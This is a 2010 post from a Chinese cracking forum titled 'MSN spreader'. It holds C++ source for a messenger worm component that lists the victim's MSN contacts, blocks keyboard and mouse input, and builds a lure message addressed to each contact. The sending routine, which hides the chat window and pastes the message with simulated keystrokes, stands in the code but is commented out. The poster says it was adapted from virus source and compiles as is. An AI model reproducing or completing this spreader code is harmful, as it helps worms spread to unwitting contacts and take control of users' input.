吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4539|回复: 3
收起左侧

[其他转载] MSN spreader

 关闭 [复制链接]
A-new 发表于 2010-4-1 16:35
#include <io.h>
#include <stdio.h>
//#include <Shlwapi.h>
#include <windows.h>
#include <Winable.h>
#include <Tlhelp32.h>

#import "MSNMessengerAPI.tlb" named_guids, no_namespace



void to_variant(BSTR, VARIANT & vt);
void SetSendMsg(char*, HWND);
int SendMsnMsg(char * );
BOOL IsFindMSNProcess(char*);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
char pMyMsg[]="Hi! I love you baby!";
char szMSNProcessName[]="msnmsgr.exe";
if (IsFindMSNProcess(szMSNProcessName))
{
SendMsnMsg(pMyMsg);
}else MessageBox(NULL,"MSN未运行!","Bad Boy",MB_OK);

return 0;
}
int SendMsnMsg(char * pSendMsg)
{ 
IMSNMessenger3 *pIMessenger = NULL;
CoInitialize(0);

HRESULT hr = CoCreateInstance(CLSID_Messenger,NULL,CLSCTX_ALL,IID_IMSNMessenger2,(void**)&pIMessenger);

char szMsnMsg[512];
char szBuf[128];

if (SUCCEEDED(hr))//1
{
IDispatch * dispContacts = NULL;
pIMessenger->get_MyContacts(&dispContacts);
if (SUCCEEDED(hr))//2
{
IMSNMessengerContacts *pIMessengerContacts = NULL;
hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts);
if (SUCCEEDED(hr))//3
{
IDispatch * dispContact = NULL;
IMSNMessengerContact *pIMessengerContact = NULL;
long iContacts; 
hr = pIMessengerContacts->get_Count(&iContacts);
if (SUCCEEDED(hr))//4
{
BlockInput(true);
for (long i = 0; i < iContacts; i++) 
{
hr = pIMessengerContacts->raw_Item(i,&dispContact);
if (SUCCEEDED(hr))//5
{
hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact);
if (SUCCEEDED(hr))//6
{
BSTR szContactName;
VARIANT vt_user;
MISTATUS miStatus;
IDispatch *pIDispatch = NULL;

// IMSNMessengerWindow *pIMessengerWindow;
// LONG wndIM;

hr = pIMessengerContact->get_Status(&miStatus);
if (SUCCEEDED(hr))//7
{
char szOut[100];
sprintf(szOut,"%d",miStatus);
MessageBox(NULL,szOut,"Status",MB_OK);
if (miStatus == MISTATUS_OFFLINE)
{
MessageBox(NULL,"MSN未登录!","Fuck",MB_OK);
pIMessengerContact->Release();
dispContact->Release();
continue;
}
}
pIMessengerContact->get_SigninName(&szContactName);
VariantInit( &vt_user );
to_variant(szContactName, vt_user);
_bstr_t tmp = szContactName;
sprintf(szBuf, "%s", (LPCTSTR)tmp);
sprintf(szMsnMsg, "%s%s", pSendMsg, szBuf);

Sleep(3000);
// hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch);
// if (SUCCEEDED(hr))
// {
// hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void **)&pIMessengerWindow);
// if (SUCCEEDED(hr))
// {
// Sleep(10);
// pIMessengerWindow->get_HWND(&wndIM);
// SetForegroundWindow((HWND) wndIM);
// SetFocus((HWND) wndIM);
// ShowWindow((HWND) wndIM,0); 
// srand(GetTickCount()); 
// SetSendMsg((char *)szMsnMsg, (HWND) wndIM);
// keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
// keybd_event(VkKeyScan('V'), 0, 0, 0);
// keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); 
// keybd_event(VK_RETURN, 0, 0, 0); 
// }
// }
pIMessengerContact->Release();
dispContact->Release();
}
}
}
BlockInput(false);
pIMessengerContacts->Release();
}
dispContacts->Release();
}
}
pIMessenger->Release();
}
CoUninitialize();

return 0;
}

void SetSendMsg(char* text, HWND hwnd)
{
HGLOBAL hData;
LPVOID pData;
OpenClipboard(hwnd);
EmptyClipboard();
hData = GlobalAlloc(GMEM_DDESHARE | GMEM_MOVEABLE, strlen(text) + 1);
pData = GlobalLock(hData);
strcpy((LPSTR)pData, text);
GlobalUnlock(hData);
SetClipboardData(CF_TEXT, hData);
CloseClipboard();
}

void to_variant(BSTR str, VARIANT& vt)
{
reinterpret_cast<_variant_t&>(vt) = str;
} 

BOOL IsFindMSNProcess(char* pMsnProcessName)
{
BOOL retval = FALSE;

DWORD dwRet = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS,0 );
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof( PROCESSENTRY32 );
int flag = Process32First( hSnapshot, &processInfo );

// Find the process with name as same as pMsnProcessName
while (flag != 0)
{
if (strcmp(processInfo.szExeFile, pMsnProcessName) == 0) {
retval = TRUE;
}
flag = Process32Next(hSnapshot, &processInfo); 
} // while (flag != 0)
CloseHandle(hSnapshot);

return retval;
}

发消息的地方注释掉了,逆病毒网上找了点源码,实现了一下MSN发消息功能,VC6编译通过,“MSNMessengerAPI.tlb”自行网上下载

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

wxsybl 发表于 2010-4-1 17:13
沙发...顶顶顶....
曹无咎 发表于 2010-9-8 19:31
mingyuan 发表于 2010-9-8 20:59
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-17 00:51

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表